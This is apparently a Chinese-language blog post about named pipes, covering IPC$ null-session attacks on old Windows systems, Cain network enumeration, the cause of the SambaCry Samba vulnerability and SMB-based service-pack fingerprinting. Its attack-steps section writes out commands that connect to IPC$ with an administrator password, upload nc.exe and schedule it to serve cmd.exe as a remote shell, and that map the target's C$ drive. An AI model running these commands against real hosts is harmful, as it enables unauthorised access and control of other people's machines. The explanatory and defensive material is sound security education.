什麼是命名管道

命名管道

定義

In computing, a named pipe (also known as a FIFO for its behavior) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of inter-process communication(IPC). The concept is also found in OS/2 and Microsoft Windows, although the semantics differ substantially. A traditional pipe is”unnamed” and lasts only as long as the process. A named pipe, however, can last as long as the system is up, beyond the life of the process. It can be deleted if no longer used. Usually a named pipe appears as a file, and generally processes attach to it for IPC.

大義: 命名管道是一種傳統管道的擴展,也是作爲IPC(內部進程通信)方式的存在形式。那問題來了,什麼是傳統管道?傳統管道是1.無名的,2. 持續時間跟進程生命週期相同。 而命名管道,不僅有自己的名字,而且生命週期可以跟系統時間一樣長,遠長於進程生命週期。不再使用的時候可以被刪除。另一個問題來了,它長什麼樣?通常命名管道可以是一個文件,進程爲了IPC(進程內部通信)attach這個文件。

應用

IPC$管道攻擊

2000年左右的xp和windows server 2003時代,流行IPC$空連接攻擊(匿名連接)。IPC$就是Windows版的共享”命名管道”資源,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此進行數據交換,實現對遠程計算機的訪問。

利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了IPC$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。還可以訪問共享資源,並使用一些字典工具,進行密碼探測,以至於獲得更高的權限。

到這裏,需要清楚的是,IPC$並不是漏洞,它是爲了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認共享,即所有的邏輯盤(C$,D$,E$……)和系統目錄winnt或windows(admin$)。

攻擊原理

如果用戶設置的口令較弱而被破解,那麼通過建立IPC$連接的以下命令,攻擊者就可以輕易地進入到系統中進行任意操作。

攻擊步驟

 一、建立IPC$管道
 1.1 在命令行中輸入
    “cd \”” net use \192.168.1.3\ipc$ “Simplexue123” /user:Administrator ”,已知目標主機的賬號(administrator)密碼(Simplexue123),建立IPC$管道。

    1.2 進入工具目錄,利用copy命令上傳nc文件
    copy nc.exe \\192.168.1.3

    1.3 查看遠程主機時間。net time \\192.168.1.3

二、利用at命令定時運行nc程序    

    2.1 在命令行下利用at命令在目標機上建立NC計劃任務。
    at \\192.168.1.3 17:23 nc -1 -p 1234 -t -e cmd.exe

    2.2 在nc任務到時間執行後,再命令行下連接目標主機。
    telnet 192.168.1.3 1234

另外,在用戶登錄的前提下,把目標C盤等映射到本地的方法如下:

首先ping一下目標靶機,觀察網絡連通性。

然後執行 net use \ip “密碼” /user:”登陸賬戶”命令建立IPC$連接

使用 net use z: \ip\c$ 命令,將目標靶機的C盤映射到本地z盤

可以看到命名管道作爲傳輸文件的磁盤符存在。

當年的工具

Cain作爲當年內網滲透神器,被廣大人民羣衆所熟知。其中一個主要功能就是Network Enumerator,可以顯現當前整個網絡。它可以快速的識別出域控,SQL Servers,Printer Servers,Remote Access Dial-In Servers,Novell Servers,Apple File Servers,Terminal Server等等,同時還會展示可能的操作系統版本。

默認情況下 Cain 使用本地登錄的用戶名連接到遠程主機的“IPC$”共享,若不能則使用空連接(匿名連接)。當列舉用戶名時,CAIN 也可提取它們的 SID(安全標識),並能鑑別出管理員(即使是改名了),這是通過查看帳號的 RID(SID 的最後部分)完成的,管理員的 RID 總是 500。

Windows NT和之後的版本增加了一條安全策略– 限制匿名用戶(also known as NULL session connections)查看用戶名和共享資源名稱。方法是在註冊表中設置”RestrictAnonymous” 爲1:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA

如果是遇到這樣的限制,Cain是不能枚舉出用戶列表的, 程序會自動開啓SID Scanner。

影響範圍

Windows Server 2008, Windows XP, Windows 7, and Windows 8 默認是禁止匿名連接的,但是Windows 2000 Server 除外。

Sambacry遠程代碼執行漏洞(傳送門

漏洞原理

傳文件的過程中服務器端誤將文件資源 ” /path/to/evil.so” 當作IPC$(命名管道)資源加載運行,導致漏洞觸發。

追溯原因

那麼問題來了,is_known_pipename函數裏爲什麼會把文件名但做命名管道加載呢?或者說我們反推出來,samba傳文件
的命令有功能複用,參數可以是文件名,也可以是命名管道。

查看通信報文

根據sambacry的通信報文可以看出,samba用於傳文件是通過一系列smb命令組合完成的:
1. 連接到目標主機(Open AndX Request),相當於TCP連接的3次握手;
2. 創建通信管道(Create AndX Request)
3. 傳文件

查詢手冊

SMB_COM_NT_CREATE_ANDX (0xA2)

此命令在NT LAN Manager中引入。用來創建並打開一個新文件,或者打開一個已存在的文件,或打開並清空一個已存在的文件,或創建一個目錄,或創建一個命名管道。

samba代碼中,認爲NT_CREATE_ANDX 命令的參數已”\”開頭的時候,這個參數爲命名管道,則開始加載相應的so服務。

NT_CREATE_ANDX應用

設備指紋識別

 在windows2000的SP識別中:通過向遠程主機發送NT_CREATE_ANDX Request(SMB命令爲0xA2)數據包請求打開文件(文件名爲\LLSRPC),得到NT_CREATE_ANDX Response數據包,如果響應數據包中SMB頭部的Status字段爲0,則表明目標系統的SP版本爲”SP0-SP4”,否則爲SP4。

 在winxp的SP版本識別中,通過發送NT_CREATE_ANDX Request(SMB命令爲0xA2)數據包請求打開文件(文件名爲\SRVSVC),得到NT_CREATE_ANDX Response數據包。如果響應數據包中SMB的頭部status字段爲0,則標明目標系統的SP版本是SP) /SP1,否則爲SP2/SP3,對於SP2/SP3的情況,進一步通過一系列的READ_ANDX、WRITE_ANDX、NT_CREATE_ANDX(文件名爲\BROWSER)等報文的交互分析可以進行區分。

參考文獻

http://www.dummies.com/programming/networking/null-session-attacks-and-how-to-avoid-them/
https://bbs.pediy.com/thread-222802.htm
https://www.jianshu.com/p/a578db79e117
http://www.oxid.it/ca_um/topics/network_enumerator.htm
https://www.cnblogs.com/liun1994/p/6416856.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章